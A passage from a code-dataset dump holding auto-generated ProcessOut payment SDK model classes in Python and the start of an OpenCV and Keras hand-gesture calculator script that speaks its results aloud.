return self._reason\n\n @reason.setter\n def reason(self, val):\n \"\"\"Set reason\n Keyword argument:\n val -- New reason value\"\"\"\n self._reason = val\n return self\n \n @property\n def information(self):\n \"\"\"Get information\"\"\"\n return self._information\n\n @information.setter\n def information(self, val):\n \"\"\"Set information\n Keyword argument:\n val -- New information value\"\"\"\n self._information = val\n return self\n \n @property\n def has_failed(self):\n \"\"\"Get has_failed\"\"\"\n return self._has_failed\n\n @has_failed.setter\n def has_failed(self, val):\n \"\"\"Set has_failed\n Keyword argument:\n val -- New has_failed value\"\"\"\n self._has_failed = val\n return self\n \n @property\n def metadata(self):\n \"\"\"Get metadata\"\"\"\n return self._metadata\n\n @metadata.setter\n def metadata(self, val):\n \"\"\"Set metadata\n Keyword argument:\n val -- New metadata value\"\"\"\n self._metadata = val\n return self\n \n @property\n def sandbox(self):\n \"\"\"Get sandbox\"\"\"\n return self._sandbox\n\n @sandbox.setter\n def sandbox(self, val):\n \"\"\"Set sandbox\n Keyword argument:\n val -- New sandbox value\"\"\"\n self._sandbox = val\n return self\n \n @property\n def created_at(self):\n \"\"\"Get created_at\"\"\"\n return self._created_at\n\n @created_at.setter\n def created_at(self, val):\n \"\"\"Set created_at\n Keyword argument:\n val -- New created_at value\"\"\"\n self._created_at = val\n return self\n \n\n def fill_with_data(self, data):\n \"\"\"Fill the current object with the new values pulled from data\n Keyword argument:\n data -- The data from which to pull the new values\"\"\"\n if \"id\" in data.keys():\n self.id = data[\"id\"]\n if \"transaction\" in data.keys():\n self.transaction = data[\"transaction\"]\n if \"transaction_id\" in data.keys():\n self.transaction_id = data[\"transaction_id\"]\n if \"amount\" in data.keys():\n self.amount = data[\"amount\"]\n if \"reason\" in data.keys():\n self.reason = data[\"reason\"]\n if \"information\" in data.keys():\n self.information = data[\"information\"]\n if \"has_failed\" in data.keys():\n self.has_failed = data[\"has_failed\"]\n if \"metadata\" in data.keys():\n self.metadata = data[\"metadata\"]\n if \"sandbox\" in data.keys():\n self.sandbox = data[\"sandbox\"]\n if \"created_at\" in data.keys():\n self.created_at = data[\"created_at\"]\n \n return self\n\n def to_json(self):\n return {\n \"id\": self.id,\n \"transaction\": self.transaction,\n \"transaction_id\": self.transaction_id,\n \"amount\": self.amount,\n \"reason\": self.reason,\n \"information\": self.information,\n \"has_failed\": self.has_failed,\n \"metadata\": self.metadata,\n \"sandbox\": self.sandbox,\n \"created_at\": self.created_at,\n }\n\n def fetch_transaction_refunds(self, transaction_id, options = {}):\n \"\"\"Get the transaction's refunds.\n Keyword argument:\n transaction_id -- ID of the transaction\n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/transactions/\" + quote_plus(transaction_id) + \"/refunds\"\n data = {\n\n }\n\n response = Response(request.get(path, data, options))\n return_values = []\n \n a = []\n body = response.body\n for v in body['refunds']:\n tmp = processout.Refund(self._client)\n tmp.fill_with_data(v)\n a.append(tmp)\n\n return_values.append(a)\n \n\n \n return return_values[0]\n\n def find(self, transaction_id, refund_id, options = {}):\n \"\"\"Find a transaction's refund by its ID.\n Keyword argument:\n transaction_id -- ID of the transaction on which the refund was applied\n refund_id -- ID of the refund\n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/transactions/\" + quote_plus(transaction_id) + \"/refunds/\" + quote_plus(refund_id) + \"\"\n data = {\n\n }\n\n response = Response(request.get(path, data, options))\n return_values = []\n \n body = response.body\n body = body[\"refund\"]\n \n \n obj = processout.Refund(self._client)\n return_values.append(obj.fill_with_data(body))\n \n\n \n return return_values[0]\n\n def create(self, options = {}):\n \"\"\"Create a refund for a transaction.\n Keyword argument:\n \n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/transactions/\" + quote_plus(self.transaction_id) + \"/refunds\"\n data = {\n 'amount': self.amount, \n 'metadata': self.metadata, \n 'reason': self.reason, \n 'information': self.information\n }\n\n response = Response(request.post(path, data, options))\n return_values = []\n \n return_values.append(response.success)\n\n \n return return_values[0]\n\n \n", "id": "4768892", "language": "Python", "matching_score": 2.769514799118042, "max_stars_count": 1, "path": "processout/refund.py" }, { "content": "try:\n from urllib.parse import quote_plus\nexcept ImportError:\n from urllib import quote_plus\n\nimport processout\nimport json\n\nfrom processout.networking.request import Request\nfrom processout.networking.response import Response\n\n# The content of this file was automatically generated\n\nclass PayoutItem(object):\n def __init__(self, client, prefill = None):\n self._client = client\n\n self._id = None\n self._project = None\n self._project_id = None\n self._payout = None\n self._payout_id = None\n self._transaction = None\n self._transaction_id = None\n self._type = None\n self._gateway_resource_id = None\n self._amount = None\n self._fees = None\n self._metadata = None\n self._created_at = None\n if prefill != None:\n self.fill_with_data(prefill)\n\n \n @property\n def id(self):\n \"\"\"Get id\"\"\"\n return self._id\n\n @id.setter\n def id(self, val):\n \"\"\"Set id\n Keyword argument:\n val -- New id value\"\"\"\n self._id = val\n return self\n \n @property\n def project(self):\n \"\"\"Get project\"\"\"\n return self._project\n\n @project.setter\n def project(self, val):\n \"\"\"Set project\n Keyword argument:\n val -- New project value\"\"\"\n if val is None:\n self._project = val\n return self\n\n if isinstance(val, dict):\n obj = processout.Project(self._client)\n obj.fill_with_data(val)\n self._project = obj\n else:\n self._project = val\n return self\n \n @property\n def project_id(self):\n \"\"\"Get project_id\"\"\"\n return self._project_id\n\n @project_id.setter\n def project_id(self, val):\n \"\"\"Set project_id\n Keyword argument:\n val -- New project_id value\"\"\"\n self._project_id = val\n return self\n \n @property\n def payout(self):\n \"\"\"Get payout\"\"\"\n return self._payout\n\n @payout.setter\n def payout(self, val):\n \"\"\"Set payout\n Keyword argument:\n val -- New payout value\"\"\"\n if val is None:\n self._payout = val\n return self\n\n if isinstance(val, dict):\n obj = processout.Payout(self._client)\n obj.fill_with_data(val)\n self._payout = obj\n else:\n self._payout = val\n return self\n \n @property\n def payout_id(self):\n \"\"\"Get payout_id\"\"\"\n return self._payout_id\n\n @payout_id.setter\n def payout_id(self, val):\n \"\"\"Set payout_id\n Keyword argument:\n val -- New payout_id value\"\"\"\n self._payout_id = val\n return self\n \n @property\n def transaction(self):\n \"\"\"Get transaction\"\"\"\n return self._transaction\n\n @transaction.setter\n def transaction(self, val):\n \"\"\"Set transaction\n Keyword argument:\n val -- New transaction value\"\"\"\n if val is None:\n self._transaction = val\n return self\n\n if isinstance(val, dict):\n obj = processout.Transaction(self._client)\n obj.fill_with_data(val)\n self._transaction = obj\n else:\n self._transaction = val\n return self\n \n @property\n def transaction_id(self):\n \"\"\"Get transaction_id\"\"\"\n return self._transaction_id\n\n @transaction_id.setter\n def transaction_id(self, val):\n \"\"\"Set transaction_id\n Keyword argument:\n val -- New transaction_id value\"\"\"\n self._transaction_id = val\n return self\n \n @property\n def type(self):\n \"\"\"Get type\"\"\"\n return self._type\n\n @type.setter\n def type(self, val):\n \"\"\"Set type\n Keyword argument:\n val -- New type value\"\"\"\n self._type = val\n return self\n \n @property\n def gateway_resource_id(self):\n \"\"\"Get gateway_resource_id\"\"\"\n return self._gateway_resource_id\n\n @gateway_resource_id.setter\n def gateway_resource_id(self, val):\n \"\"\"Set gateway_resource_id\n Keyword argument:\n val -- New gateway_resource_id value\"\"\"\n self._gateway_resource_id = val\n return self\n \n @property\n def amount(self):\n \"\"\"Get amount\"\"\"\n return self._amount\n\n @amount.setter\n def amount(self, val):\n \"\"\"Set amount\n Keyword argument:\n val -- New amount value\"\"\"\n self._amount = val\n return self\n \n @property\n def fees(self):\n \"\"\"Get fees\"\"\"\n return self._fees\n\n @fees.setter\n def fees(self, val):\n \"\"\"Set fees\n Keyword argument:\n val -- New fees value\"\"\"\n self._fees = val\n return self\n \n @property\n def metadata(self):\n \"\"\"Get metadata\"\"\"\n return self._metadata\n\n @metadata.setter\n def metadata(self, val):\n \"\"\"Set metadata\n Keyword argument:\n val -- New metadata value\"\"\"\n self._metadata = val\n return self\n \n @property\n def created_at(self):\n \"\"\"Get created_at\"\"\"\n return self._created_at\n\n @created_at.setter\n def created_at(self, val):\n \"\"\"Set created_at\n Keyword argument:\n val -- New created_at value\"\"\"\n self._created_at = val\n return self\n \n\n def fill_with_data(self, data):\n \"\"\"Fill the current object with the new values pulled from data\n Keyword argument:\n data -- The data from which to pull the new values\"\"\"\n if \"id\" in data.keys():\n self.id = data[\"id\"]\n if \"project\" in data.keys():\n self.project = data[\"project\"]\n if \"project_id\" in data.keys():\n self.project_id = data[\"project_id\"]\n if \"payout\" in data.keys():\n self.payout = data[\"payout\"]\n if \"payout_id\" in data.keys():\n self.payout_id = data[\"payout_id\"]\n if \"transaction\" in data.keys():\n self.transaction = data[\"transaction\"]\n if \"transaction_id\" in data.keys():\n self.transaction_id = data[\"transaction_id\"]\n if \"type\" in data.keys():\n self.type = data[\"type\"]\n if \"gateway_resource_id\" in data.keys():\n self.gateway_resource_id = data[\"gateway_resource_id\"]\n if \"amount\" in data.keys():\n self.amount = data[\"amount\"]\n if \"fees\" in data.keys():\n self.fees = data[\"fees\"]\n if \"metadata\" in data.keys():\n self.metadata = data[\"metadata\"]\n if \"created_at\" in data.keys():\n self.created_at = data[\"created_at\"]\n \n return self\n\n def to_json(self):\n return {\n \"id\": self.id,\n \"project\": self.project,\n \"project_id\": self.project_id,\n \"payout\": self.payout,\n \"payout_id\": self.payout_id,\n \"transaction\": self.transaction,\n \"transaction_id\": self.transaction_id,\n \"type\": self.type,\n \"gateway_resource_id\": self.gateway_resource_id,\n \"amount\": self.amount,\n \"fees\": self.fees,\n \"metadata\": self.metadata,\n \"created_at\": self.created_at,\n }\n\n \n", "id": "1514641", "language": "Python", "matching_score": 1.7245665788650513, "max_stars_count": 1, "path": "processout/payoutitem.py" }, { "content": "try:\n from urllib.parse import quote_plus\nexcept ImportError:\n from urllib import quote_plus\n\nimport processout\nimport json\n\nfrom processout.networking.request import Request\nfrom processout.networking.response import Response\n\n# The content of this file was automatically generated\n\nclass TransactionOperation(object):\n def __init__(self, client, prefill = None):\n self._client = client\n\n self._id = None\n self._transaction = None\n self._transaction_id = None\n self._token = None\n self._token_id = None\n self._card = None\n self._card_id = None\n self._gateway_configuration = None\n self._gateway_configuration_id = None\n self._amount = None\n self._currency = None\n self._is_attempt = None\n self._has_failed = None\n self._is_accountable = None\n self._type = None\n self._gateway_operation_id = None\n self._arn = None\n self._error_code = None\n self._gateway_data = None\n self._payment_data_three_d_s_request = None\n self._payment_data_three_d_s_authentication = None\n self._payment_data_network_authentication = None\n self._metadata = None\n self._gateway_fee = None\n self._created_at = None\n if prefill != None:\n self.fill_with_data(prefill)\n\n \n @property\n def id(self):\n \"\"\"Get id\"\"\"\n return self._id\n\n @id.setter\n def id(self, val):\n \"\"\"Set id\n Keyword argument:\n val -- New id value\"\"\"\n self._id = val\n return self\n \n @property\n def transaction(self):\n \"\"\"Get transaction\"\"\"\n return self._transaction\n\n @transaction.setter\n def transaction(self, val):\n \"\"\"Set transaction\n Keyword argument:\n val -- New transaction value\"\"\"\n if val is None:\n self._transaction = val\n return self\n\n if isinstance(val, dict):\n obj = processout.Transaction(self._client)\n obj.fill_with_data(val)\n self._transaction = obj\n else:\n self._transaction = val\n return self\n \n @property\n def transaction_id(self):\n \"\"\"Get transaction_id\"\"\"\n return self._transaction_id\n\n @transaction_id.setter\n def transaction_id(self, val):\n \"\"\"Set transaction_id\n Keyword argument:\n val -- New transaction_id value\"\"\"\n self._transaction_id = val\n return self\n \n @property\n def token(self):\n \"\"\"Get token\"\"\"\n return self._token\n\n @token.setter\n def token(self, val):\n \"\"\"Set token\n Keyword argument:\n val -- New token value\"\"\"\n if val is None:\n self._token = val\n return self\n\n if isinstance(val, dict):\n obj = processout.Token(self._client)\n obj.fill_with_data(val)\n self._token = obj\n else:\n self._token = val\n return self\n \n @property\n def token_id(self):\n \"\"\"Get token_id\"\"\"\n return self._token_id\n\n @token_id.setter\n def token_id(self, val):\n \"\"\"Set token_id\n Keyword argument:\n val -- New token_id value\"\"\"\n self._token_id = val\n return self\n \n @property\n def card(self):\n \"\"\"Get card\"\"\"\n return self._card\n\n @card.setter\n def card(self, val):\n \"\"\"Set card\n Keyword argument:\n val -- New card value\"\"\"\n if val is None:\n self._card = val\n return self\n\n if isinstance(val, dict):\n obj = processout.Card(self._client)\n obj.fill_with_data(val)\n self._card = obj\n else:\n self._card = val\n return self\n \n @property\n def card_id(self):\n \"\"\"Get card_id\"\"\"\n return self._card_id\n\n @card_id.setter\n def card_id(self, val):\n \"\"\"Set card_id\n Keyword argument:\n val -- New card_id value\"\"\"\n self._card_id = val\n return self\n \n @property\n def gateway_configuration(self):\n \"\"\"Get gateway_configuration\"\"\"\n return self._gateway_configuration\n\n @gateway_configuration.setter\n def gateway_configuration(self, val):\n \"\"\"Set gateway_configuration\n Keyword argument:\n val -- New gateway_configuration value\"\"\"\n if val is None:\n self._gateway_configuration = val\n return self\n\n if isinstance(val, dict):\n obj = processout.GatewayConfiguration(self._client)\n obj.fill_with_data(val)\n self._gateway_configuration = obj\n else:\n self._gateway_configuration = val\n return self\n \n @property\n def gateway_configuration_id(self):\n \"\"\"Get gateway_configuration_id\"\"\"\n return self._gateway_configuration_id\n\n @gateway_configuration_id.setter\n def gateway_configuration_id(self, val):\n \"\"\"Set gateway_configuration_id\n Keyword argument:\n val -- New gateway_configuration_id value\"\"\"\n self._gateway_configuration_id = val\n return self\n \n @property\n def amount(self):\n \"\"\"Get amount\"\"\"\n return self._amount\n\n @amount.setter\n def amount(self, val):\n \"\"\"Set amount\n Keyword argument:\n val -- New amount value\"\"\"\n self._amount = val\n return self\n \n @property\n def currency(self):\n \"\"\"Get currency\"\"\"\n return self._currency\n\n @currency.setter\n def currency(self, val):\n \"\"\"Set currency\n Keyword argument:\n val -- New currency value\"\"\"\n self._currency = val\n return self\n \n @property\n def is_attempt(self):\n \"\"\"Get is_attempt\"\"\"\n return self._is_attempt\n\n @is_attempt.setter\n def is_attempt(self, val):\n \"\"\"Set is_attempt\n Keyword argument:\n val -- New is_attempt value\"\"\"\n self._is_attempt = val\n return self\n \n @property\n def has_failed(self):\n \"\"\"Get has_failed\"\"\"\n return self._has_failed\n\n @has_failed.setter\n def has_failed(self, val):\n \"\"\"Set has_failed\n Keyword argument:\n val -- New has_failed value\"\"\"\n self._has_failed = val\n return self\n \n @property\n def is_accountable(self):\n \"\"\"Get is_accountable\"\"\"\n return self._is_accountable\n\n @is_accountable.setter\n def is_accountable(self, val):\n \"\"\"Set is_accountable\n Keyword argument:\n val -- New is_accountable value\"\"\"\n self._is_accountable = val\n return self\n \n @property\n def type(self):\n \"\"\"Get type\"\"\"\n return self._type\n\n @type.setter\n def type(self, val):\n \"\"\"Set type\n Keyword argument:\n val -- New type value\"\"\"\n self._type = val\n return self\n \n @property\n def gateway_operation_id(self):\n \"\"\"Get gateway_operation_id\"\"\"\n return self._gateway_operation_id\n\n @gateway_operation_id.setter\n def gateway_operation_id(self, val):\n \"\"\"Set gateway_operation_id\n Keyword argument:\n val -- New gateway_operation_id value\"\"\"\n self._gateway_operation_id = val\n return self\n \n @property\n def arn(self):\n \"\"\"Get arn\"\"\"\n return self._arn\n\n @arn.setter\n def arn(self, val):\n \"\"\"Set arn\n Keyword argument:\n val -- New arn value\"\"\"\n self._arn = val\n return self\n \n @property\n def error_code(self):\n \"\"\"Get error_code\"\"\"\n return self._error_code\n\n @error_code.setter\n def error_code(self, val):\n \"\"\"Set error_code\n Keyword argument:\n val -- New error_code value\"\"\"\n self._error_code = val\n return self\n \n @property\n def gateway_data(self):\n \"\"\"Get gateway_data\"\"\"\n return self._gateway_data\n\n @gateway_data.setter\n def gateway_data(self, val):\n \"\"\"Set gateway_data\n Keyword argument:\n val -- New gateway_data value\"\"\"\n self._gateway_data = val\n return self\n \n @property\n def payment_data_three_d_s_request(self):\n \"\"\"Get payment_data_three_d_s_request\"\"\"\n return self._payment_data_three_d_s_request\n\n @payment_data_three_d_s_request.setter\n def payment_data_three_d_s_request(self, val):\n \"\"\"Set payment_data_three_d_s_request\n Keyword argument:\n val -- New payment_data_three_d_s_request value\"\"\"\n if val is None:\n self._payment_data_three_d_s_request = val\n return self\n\n if isinstance(val, dict):\n obj = processout.PaymentDataThreeDSRequest(self._client)\n obj.fill_with_data(val)\n self._payment_data_three_d_s_request = obj\n else:\n self._payment_data_three_d_s_request = val\n return self\n \n @property\n def payment_data_three_d_s_authentication(self):\n \"\"\"Get payment_data_three_d_s_authentication\"\"\"\n return self._payment_data_three_d_s_authentication\n\n @payment_data_three_d_s_authentication.setter\n def payment_data_three_d_s_authentication(self, val):\n \"\"\"Set payment_data_three_d_s_authentication\n Keyword argument:\n val -- New payment_data_three_d_s_authentication value\"\"\"\n if val is None:\n self._payment_data_three_d_s_authentication = val\n return self\n\n if isinstance(val, dict):\n obj = processout.PaymentDataThreeDSAuthentication(self._client)\n obj.fill_with_data(val)\n self._payment_data_three_d_s_authentication = obj\n else:\n self._payment_data_three_d_s_authentication = val\n return self\n \n @property\n def payment_data_network_authentication(self):\n \"\"\"Get payment_data_network_authentication\"\"\"\n return self._payment_data_network_authentication\n\n @payment_data_network_authentication.setter\n def payment_data_network_authentication(self, val):\n \"\"\"Set payment_data_network_authentication\n Keyword argument:\n val -- New payment_data_network_authentication value\"\"\"\n if val is None:\n self._payment_data_network_authentication = val\n return self\n\n if isinstance(val, dict):\n obj = processout.PaymentDataNetworkAuthentication(self._client)\n obj.fill_with_data(val)\n self._payment_data_network_authentication = obj\n else:\n self._payment_data_network_authentication = val\n return self\n \n @property\n def metadata(self):\n \"\"\"Get metadata\"\"\"\n return self._metadata\n\n @metadata.setter\n def metadata(self, val):\n \"\"\"Set metadata\n Keyword argument:\n val -- New metadata value\"\"\"\n self._metadata = val\n return self\n \n @property\n def gateway_fee(self):\n \"\"\"Get gateway_fee\"\"\"\n return self._gateway_fee\n\n @gateway_fee.setter\n def gateway_fee(self, val):\n \"\"\"Set gateway_fee\n Keyword argument:\n val -- New gateway_fee value\"\"\"\n self._gateway_fee = val\n return self\n \n @property\n def created_at(self):\n \"\"\"Get created_at\"\"\"\n return self._created_at\n\n @created_at.setter\n def created_at(self, val):\n \"\"\"Set created_at\n Keyword argument:\n val -- New created_at value\"\"\"\n self._created_at = val\n return self\n \n\n def fill_with_data(self, data):\n \"\"\"Fill the current object with the new values pulled from data\n Keyword argument:\n data -- The data from which to pull the new values\"\"\"\n if \"id\" in data.keys():\n self.id = data[\"id\"]\n if \"transaction\" in data.keys():\n self.transaction = data[\"transaction\"]\n if \"transaction_id\" in data.keys():\n self.transaction_id = data[\"transaction_id\"]\n if \"token\" in data.keys():\n self.token = data[\"token\"]\n if \"token_id\" in data.keys():\n self.token_id = data[\"token_id\"]\n if \"card\" in data.keys():\n self.card = data[\"card\"]\n if \"card_id\" in data.keys():\n self.card_id = data[\"card_id\"]\n if \"gateway_configuration\" in data.keys():\n self.gateway_configuration = data[\"gateway_configuration\"]\n if \"gateway_configuration_id\" in data.keys():\n self.gateway_configuration_id = data[\"gateway_configuration_id\"]\n if \"amount\" in data.keys():\n self.amount = data[\"amount\"]\n if \"currency\" in data.keys():\n self.currency = data[\"currency\"]\n if \"is_attempt\" in data.keys():\n self.is_attempt = data[\"is_attempt\"]\n if \"has_failed\" in data.keys():\n self.has_failed = data[\"has_failed\"]\n if \"is_accountable\" in data.keys():\n self.is_accountable = data[\"is_accountable\"]\n if \"type\" in data.keys():\n self.type = data[\"type\"]\n if \"gateway_operation_id\" in data.keys():\n self.gateway_operation_id = data[\"gateway_operation_id\"]\n if \"arn\" in data.keys():\n self.arn = data[\"arn\"]\n if \"error_code\" in data.keys():\n self.error_code = data[\"error_code\"]\n if \"gateway_data\" in data.keys():\n self.gateway_data = data[\"gateway_data\"]\n if \"payment_data_three_d_s_request\" in data.keys():\n self.payment_data_three_d_s_request = data[\"payment_data_three_d_s_request\"]\n if \"payment_data_three_d_s_authentication\" in data.keys():\n self.payment_data_three_d_s_authentication = data[\"payment_data_three_d_s_authentication\"]\n if \"payment_data_network_authentication\" in data.keys():\n self.payment_data_network_authentication = data[\"payment_data_network_authentication\"]\n if \"metadata\" in data.keys():\n self.metadata = data[\"metadata\"]\n if \"gateway_fee\" in data.keys():\n self.gateway_fee = data[\"gateway_fee\"]\n if \"created_at\" in data.keys():\n self.created_at = data[\"created_at\"]\n \n return self\n\n def to_json(self):\n return {\n \"id\": self.id,\n \"transaction\": self.transaction,\n \"transaction_id\": self.transaction_id,\n \"token\": self.token,\n \"token_id\": self.token_id,\n \"card\": self.card,\n \"card_id\": self.card_id,\n \"gateway_configuration\": self.gateway_configuration,\n \"gateway_configuration_id\": self.gateway_configuration_id,\n \"amount\": self.amount,\n \"currency\": self.currency,\n \"is_attempt\": self.is_attempt,\n \"has_failed\": self.has_failed,\n \"is_accountable\": self.is_accountable,\n \"type\": self.type,\n \"gateway_operation_id\": self.gateway_operation_id,\n \"arn\": self.arn,\n \"error_code\": self.error_code,\n \"gateway_data\": self.gateway_data,\n \"payment_data_three_d_s_request\": self.payment_data_three_d_s_request,\n \"payment_data_three_d_s_authentication\": self.payment_data_three_d_s_authentication,\n \"payment_data_network_authentication\": self.payment_data_network_authentication,\n \"metadata\": self.metadata,\n \"gateway_fee\": self.gateway_fee,\n \"created_at\": self.created_at,\n }\n\n \n", "id": "10059020", "language": "Python", "matching_score": 5.4347429275512695, "max_stars_count": 1, "path": "processout/transactionoperation.py" }, { "content": "try:\n from urllib.parse import quote_plus\nexcept ImportError:\n from urllib import quote_plus\n\nimport processout\nimport json\n\nfrom processout.networking.request import Request\nfrom processout.networking.response import Response\n\n# The content of this file was automatically generated\n\nclass PaymentDataNetworkAuthentication(object):\n def __init__(self, client, prefill = None):\n self._client = client\n\n self._cavv = None\n if prefill != None:\n self.fill_with_data(prefill)\n\n \n @property\n def cavv(self):\n \"\"\"Get cavv\"\"\"\n return self._cavv\n\n @cavv.setter\n def cavv(self, val):\n \"\"\"Set cavv\n Keyword argument:\n val -- New cavv value\"\"\"\n self._cavv = val\n return self\n \n\n def fill_with_data(self, data):\n \"\"\"Fill the current object with the new values pulled from data\n Keyword argument:\n data -- The data from which to pull the new values\"\"\"\n if \"cavv\" in data.keys():\n self.cavv = data[\"cavv\"]\n \n return self\n\n def to_json(self):\n return {\n \"cavv\": self.cavv,\n }\n\n \n", "id": "1557521", "language": "Python", "matching_score": 1.4474846124649048, "max_stars_count": 1, "path": "processout/paymentdatanetworkauthentication.py" } ]
2.371514
Cassie-dll
[ { "content": "import cv2, pickle\nimport numpy as np\nimport tensorflow as tf\nfrom cnn_tf import cnn_model_fn\nimport os\nimport sqlite3, pyttsx3\nfrom keras.models import load_model\nfrom threading import Thread\n\nengine = pyttsx3.init()\nengine.setProperty('rate', 150)\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\nmodel = load_model('cnn_model_keras2.h5')\n\ndef get_hand_hist():\n\twith open(\"hist\", \"rb\") as f:\n\t\thist = pickle.load(f)\n\treturn hist\n\ndef get_image_size():\n\timg = cv2.imread('gestures/0/100.jpg', 0)\n\treturn img.shape\n\nimage_x, image_y = get_image_size()\n\ndef keras_process_image(img):\n\timg = cv2.resize(img, (image_x, image_y))\n\timg = np.array(img, dtype=np.float32)\n\timg = np.reshape(img, (1, image_x, image_y, 1))\n\treturn img\n\ndef keras_predict(model, image):\n\tprocessed = keras_process_image(image)\n\tpred_probab = model.predict(processed)[0]\n\tpred_class = list(pred_probab).index(max(pred_probab))\n\treturn max(pred_probab), pred_class\n\ndef get_pred_text_from_db(pred_class):\n\tconn = sqlite3.connect(\"gesture_db.db\")\n\tcmd = \"SELECT g_name FROM gesture WHERE g_id=\"+str(pred_class)\n\tcursor = conn.execute(cmd)\n\tfor row in cursor:\n\t\treturn row[0]\n\ndef get_pred_from_contour(contour, thresh):\n\tx1, y1, w1, h1 = cv2.boundingRect(contour)\n\tsave_img = thresh[y1:y1+h1, x1:x1+w1]\n\ttext = \"\"\n\tif w1 > h1:\n\t\tsave_img = cv2.copyMakeBorder(save_img, int((w1-h1)/2) , int((w1-h1)/2) , 0, 0, cv2.BORDER_CONSTANT, (0, 0, 0))\n\telif h1 > w1:\n\t\tsave_img = cv2.copyMakeBorder(save_img, 0, 0, int((h1-w1)/2) , int((h1-w1)/2) , cv2.BORDER_CONSTANT, (0, 0, 0))\n\tpred_probab, pred_class = keras_predict(model, save_img)\n\tif pred_probab*100 > 70:\n\t\ttext = get_pred_text_from_db(pred_class)\n\treturn text\n\ndef get_operator(pred_text):\n\ttry:\n\t\tpred_text = int(pred_text)\n\texcept:\n\t\treturn \"\"\n\toperator = \"\"\n\tif pred_text == 1:\n\t\toperator = \"+\"\n\telif pred_text == 2:\n\t\toperator = \"-\"\n\telif pred_text == 3:\n\t\toperator = \"*\"\n\telif pred_text == 4:\n\t\toperator = \"/\"\n\telif pred_text == 5:\n\t\toperator = \"%\"\n\telif pred_text == 6:\n\t\toperator = \"**\"\n\telif pred_text == 7:\n\t\toperator = \">>\"\n\telif pred_text == 8:\n\t\toperator = \"<<\"\n\telif pred_text == 9:\n\t\toperator = \"&\"\n\telif pred_text == 0:\n\t\toperator = \"|\"\n\treturn operator\n\nhist = get_hand_hist()\nx, y, w, h = 300, 100, 300, 300\nis_voice_on = True\n\ndef get_img_contour_thresh(img):\n\timg = cv2.flip(img, 1)\n\timgHSV = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n\tdst = cv2.calcBackProject([imgHSV], [0, 1], hist, [0, 180, 0, 256], 1)\n\tdisc = cv2.getStructuringElement(cv2.MORPH_ELLIPSE,(10,10))\n\tcv2.filter2D(dst,-1,disc,dst)\n\tblur = cv2.GaussianBlur(dst, (11,11), 0)\n\tblur = cv2.medianBlur(blur, 15)\n\tthresh = cv2.threshold(blur,0,255,cv2.THRESH_BINARY+cv2.THRESH_OTSU)[1]\n\tthresh = cv2.merge((thresh,thresh,thresh))\n\tthresh = cv2.cvtColor(thresh, cv2.COLOR_BGR2GRAY)\n\tthresh = thresh[y:y+h, x:x+w]\n\tcontours = cv2.findContours(thresh.copy(), cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)[0]\n\treturn img, contours, thresh\n\ndef say_text(text):\n\tif not is_voice_on:\n\t\treturn\n\twhile engine._inLoop:\n\t\tpass\n\tengine.say(text)\n\tengine.runAndWait()\n\ndef calculator_mode(cam):\n\tglobal is_voice_on\n\tflag = {\"first\": False, \"operator\": False, \"second\": False, \"clear\": False}\n\tcount_same_frames = 0\n\tfirst, operator, second = \"\", \"\", \"\"\n\tpred_text = \"\"\n\tcalc_text = \"\"\n\tinfo = \"Enter first number\"\n\tThread(target=say_text, args=(info,)).start()\n\tcount_clear_frames = 0\n\twhile True:\n\t\timg = cam.read()[1]\n\t\timg = cv2.resize(img, (640, 480))\n\t\timg, contours, thresh = get_img_contour_thresh(img)\n\t\told_pred_text = pred_text\n\t\tif len(contours) > 0:\n\t\t\tcontour = max(contours, key = cv2.contourArea)\n\t\t\tif cv2.contourArea(contour) > 10000:\n\t\t\t\tpred_text = get_pred_from_contour(contour, thresh)\n\t\t\t\tif old_pred_text == pred_text:\n\t\t\t\t\tcount_same_frames += 1\n\t\t\t\telse:\n\t\t\t\t\tcount_same_frames = 0\n\n\t\t\t\tif pred_text == \"C\":\n\t\t\t\t\tif count_same_frames > 5:\n\t\t\t\t\t\tcount_same_frames = 0\n\t\t\t\t\t\tfirst, second, operator, pred_text, calc_text = '', '', '', '', ''\n\t\t\t\t\t\tflag['first'], flag['operator'], flag['second'], flag['clear'] = False, False, False, False\n\t\t\t\t\t\tinfo = \"Enter first number\"\n\t\t\t\t\t\tThread(target=say_text, args=(info,)).start()\n\n\t\t\t\telif pred_text == \"Best of Luck \" and count_same_frames > 15:\n\t\t\t\t\tcount_same_frames = 0\n\t\t\t\t\tif flag['clear']:\n\t\t\t\t\t\tfirst, second, operator, pred_text, calc_text = '', '', '', '', ''\n\t\t\t\t\t\tflag['first'], flag['operator'], flag['second'], flag['clear'] = False, False, False, False\n\t\t\t\t\t\tinfo = \"Enter first number\"\n\t\t\t\t\t\tThread(target=say_text, args=(info,)).start()\n\t\t\t\t\telif second != '':\n\t\t\t\t\t\tflag['second'] = True\n\t\t\t\t\t\tinfo = \"Clear screen\"\n\t\t\t\t\t\t#Thread(target=say_text, args=(info,)).start()\n\t\t\t\t\t\tsecond = ''\n\t\t\t\t\t\tflag['clear'] = True\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tcalc_text += \"= \"+str(eval(calc_text))\n\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\tcalc_text = \"Invalid operation\"\n\t\t\t\t\t\tif is_voice_on:\n\t\t\t\t\t\t\tspeech = calc_text\n\t\t\t\t\t\t\tspeech = speech.replace('-', ' minus ')\n\t\t\t\t\t\t\tspeech = speech.replace('/', ' divided by ')\n\t\t\t\t\t\t\tspeech = speech.replace('**', ' raised to the power ')\n\t\t\t\t\t\t\tspeech = speech.replace('*', ' multiplied by ')\n\t\t\t\t\t\t\tspeech = speech.replace('%', ' mod ')\n\t\t\t\t\t\t\tspeech = speech.replace('>>', ' bitwise right shift ')\n\t\t\t\t\t\t\tspeech = speech.replace('<<', ' bitwise leftt shift ')\n\t\t\t\t\t\t\tspeech = speech.replace('&', ' bitwise and ')\n\t\t\t\t\t\t\tspeech = speech.replace('|', ' bitwise or ')\n\t\t\t\t\t\t\tThread(target=say_text, args=(speech,)).start()\n\t\t\t\t\telif first != '':\n\t\t\t\t\t\tflag['first'] = True\n\t\t\t\t\t\tinfo = \"Enter operator\"\n\t\t\t\t\t\tThread(target=say_text, args=(info,)).start()\n\t\t\t\t\t\tfirst = ''\n\n\t\t\t\telif pred_text != \"Best 